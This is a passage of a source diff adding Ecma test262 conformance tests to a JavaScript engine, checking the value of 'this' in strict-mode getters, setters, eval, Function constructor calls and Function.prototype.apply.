+ * @path ch10/10.4/10.4.3/10.4.3-1-53gs.js
+ * @description Strict - checking 'this' from a global scope (Anonymous FunctionExpression with a strict directive prologue defined within an Anonymous FunctionExpression)
+ * @noStrict
+ */
+
+if (! ((function () {
+ return ((function () {
+ "use strict";
+ return typeof this;
+ })()==="undefined") && (this===fnGlobalObject());
+})())) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-54-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-54-s.js
new file mode 100644
index 000000000..ac481d610
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-54-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-54-s.js
+ * @description Strict Mode - checking 'this' (Literal getter defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var o = { get foo() { return this; } }
+return o.foo===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-54gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-54gs.js
new file mode 100644
index 000000000..571ad634e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-54gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-54gs.js
+ * @description Strict - checking 'this' from a global scope (Literal getter defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var o = { get foo() { return this; } }
+if (o.foo!==o) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-55-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-55-s.js
new file mode 100644
index 000000000..49acc2d11
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-55-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-55-s.js
+ * @description Strict Mode - checking 'this' (Literal getter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = { get foo() { "use strict"; return this; } }
+return o.foo===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-55gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-55gs.js
new file mode 100644
index 000000000..ab3ccbbc5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-55gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-55gs.js
+ * @description Strict - checking 'this' from a global scope (Literal getter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var o = { get foo() { "use strict"; return this; } }
+if (o.foo!==o) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-56-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-56-s.js
new file mode 100644
index 000000000..1a492c462
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-56-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-56-s.js
+ * @description Strict Mode - checking 'this' (Literal setter defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var x = 2;
+var o = { set foo(stuff) { x=this; } }
+o.foo = 3;
+return x===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-56gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-56gs.js
new file mode 100644
index 000000000..7ea7c7a3f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-56gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-56gs.js
+ * @description Strict - checking 'this' from a global scope (Literal setter defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var x = 2;
+var o = { set foo(stuff) { x=this; } }
+o.foo = 3;
+if (x!==o) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-57-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-57-s.js
new file mode 100644
index 000000000..bcd4ef62c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-57-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-57-s.js
+ * @description Strict Mode - checking 'this' (Literal setter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var x = 2;
+var o = { set foo(stuff) { "use strict"; x=this; } }
+o.foo = 3;
+return x===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-57gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-57gs.js
new file mode 100644
index 000000000..e59df3357
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-57gs.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-57gs.js
+ * @description Strict - checking 'this' from a global scope (Literal setter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var x = 2;
+var o = { set foo(stuff) { "use strict"; x=this; } }
+o.foo = 3;
+if (x!==o) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-58-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-58-s.js
new file mode 100644
index 000000000..964f8d435
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-58-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-58-s.js
+ * @description Strict Mode - checking 'this' (Injected getter defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var o = {};
+Object.defineProperty(o, "foo", { get: function() { return this; } });
+return o.foo===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-58gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-58gs.js
new file mode 100644
index 000000000..166e44079
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-58gs.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-58gs.js
+ * @description Strict - checking 'this' from a global scope (Injected getter defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var o = {};
+Object.defineProperty(o, "foo", { get : function() { return this; } });
+if (o.foo!==o) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-59-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-59-s.js
new file mode 100644
index 000000000..7d0afddf5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-59-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-59-s.js
+ * @description Strict Mode - checking 'this' (Injected getter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+Object.defineProperty(o, "foo", { get: function() { "use strict"; return this; } });
+return o.foo===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-59gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-59gs.js
new file mode 100644
index 000000000..09e1d0648
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-59gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-59gs.js
+ * @description Strict - checking 'this' from a global scope (Injected getter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var o = {};
+Object.defineProperty(o, "foo", { get: function() { "use strict"; return this; } });
+if (o.foo!==o) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-60-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-60-s.js
new file mode 100644
index 000000000..1bd803bee
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-60-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-60-s.js
+ * @description Strict Mode - checking 'this' (Injected setter defined within strict mode)
+ * @onlyStrict
+ */
+
+function testcase() {
+"use strict";
+var o = {};
+var x = 2;
+Object.defineProperty(o, "foo", { set: function(stuff) { x=this; } });
+o.foo = 3;
+return x===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-60gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-60gs.js
new file mode 100644
index 000000000..09053dbd1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-60gs.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-60gs.js
+ * @description Strict - checking 'this' from a global scope (Injected setter defined within strict mode)
+ * @onlyStrict
+ */
+
+"use strict";
+var o = {};
+var x = 2;
+Object.defineProperty(o, "foo", { set: function(stuff) { x=this; } });
+o.foo = 3;
+if (x!==o) {
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-61-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-61-s.js
new file mode 100644
index 000000000..23586b250
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-61-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-61-s.js
+ * @description Strict Mode - checking 'this' (Injected setter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+function testcase() {
+var o = {};
+var x = 2;
+Object.defineProperty(o, "foo", { set: function(stuff) { "use strict"; x=this; } });
+o.foo = 3;
+return x===o;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-61gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-61gs.js
new file mode 100644
index 000000000..2d31c32d8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-61gs.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-61gs.js
+ * @description Strict - checking 'this' from a global scope (Injected setter includes strict directive prologue)
+ * @onlyStrict
+ */
+
+var o = {};
+var x = 2;
+Object.defineProperty(o, "foo", { set: function(stuff) { "use strict"; x=this; } });
+o.foo = 3;
+if (x!==o) {
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-62-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-62-s.js
new file mode 100644
index 000000000..a2e3c0bb8
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-62-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-62-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by non-strict function declaration)
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this;};
+function foo() { return f();}
+return foo()===undefined;
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-62gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-62gs.js
new file mode 100644
index 000000000..9cd2ae0e7
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-62gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-62gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by non-strict function declaration)
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this;};
+function foo() { return f();}
+if (foo()!==undefined){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-63-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-63-s.js
new file mode 100644
index 000000000..5b93d280b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-63-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-63-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by non-strict eval)
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===undefined;};
+return eval("f();");
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-63gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-63gs.js
new file mode 100644
index 000000000..07f7a9cee
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-63gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-63gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by non-strict eval)
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! eval("f();")){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-64-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-64-s.js
new file mode 100644
index 000000000..ddb042449
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-64-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-64-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by non-strict Function constructor)
+ * @onlyStrict
+ */
+
+function testcase() {
+fnGlobalObject().f = function() { "use strict"; return this===undefined;};
+return Function("return f();")();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-64gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-64gs.js
new file mode 100644
index 000000000..6877c8341
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-64gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-64gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by non-strict Function constructor)
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! (Function("return f();")())){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-65-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-65-s.js
new file mode 100644
index 000000000..5b0f20a65
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-65-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-65-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by non-strict new'ed Function constructor)
+ * @onlyStrict
+ */
+
+function testcase() {
+fnGlobalObject().f = function() { "use strict"; return this===undefined;};
+return (new Function("return f();"))();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-65gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-65gs.js
new file mode 100644
index 000000000..567a12360
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-65gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-65gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by non-strict new'ed Function constructor)
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! ( (new Function("return f();")) () )){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-66-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-66-s.js
new file mode 100644
index 000000000..3b4401827
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-66-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-66-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.apply())
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===undefined;};
+return f.apply();
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-66gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-66gs.js
new file mode 100644
index 000000000..29a609b7a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-66gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-66gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.apply())
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! f.apply()){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-67-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-67-s.js
new file mode 100644
index 000000000..baf57dc0c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-67-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-67-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.apply(null))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===null;};
+return f.apply(null);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-67gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-67gs.js
new file mode 100644
index 000000000..9122b9fde
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-67gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-67gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.apply(null))
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===null;};
+if (! f.apply(null)){
+ throw "'this' had incorrect value!";
+}
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-68-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-68-s.js
new file mode 100644
index 000000000..10a5294e1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-68-s.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-68-s.js
+ * @description Strict Mode - checking 'this' (strict function declaration called by Function.prototype.apply(undefined))
+ * @onlyStrict
+ */
+
+function testcase() {
+function f() { "use strict"; return this===undefined;};
+return f.apply(undefined);
+}
+runTestCase(testcase); \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-68gs.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-68gs.js
new file mode 100644
index 000000000..5bfeee3f0
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-68gs.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-68gs.js
+ * @description Strict - checking 'this' from a global scope (strict function declaration called by Function.prototype.apply(undefined))
+ * @onlyStrict
+ */
+
+function f() { "use strict"; return this===undefined;};
+if (! f.apply(undefined)){
+ throw "'this' had incorrect value!";
+} \ No newline at end of file
diff --git a/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-69-s.js b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-69-s.js
new file mode 100644
index 000000000..8db3b94ce
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.4/10.4.3/10.4.3-1-69-s.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.4/10.4.3/10.4.3-1-69-s.js
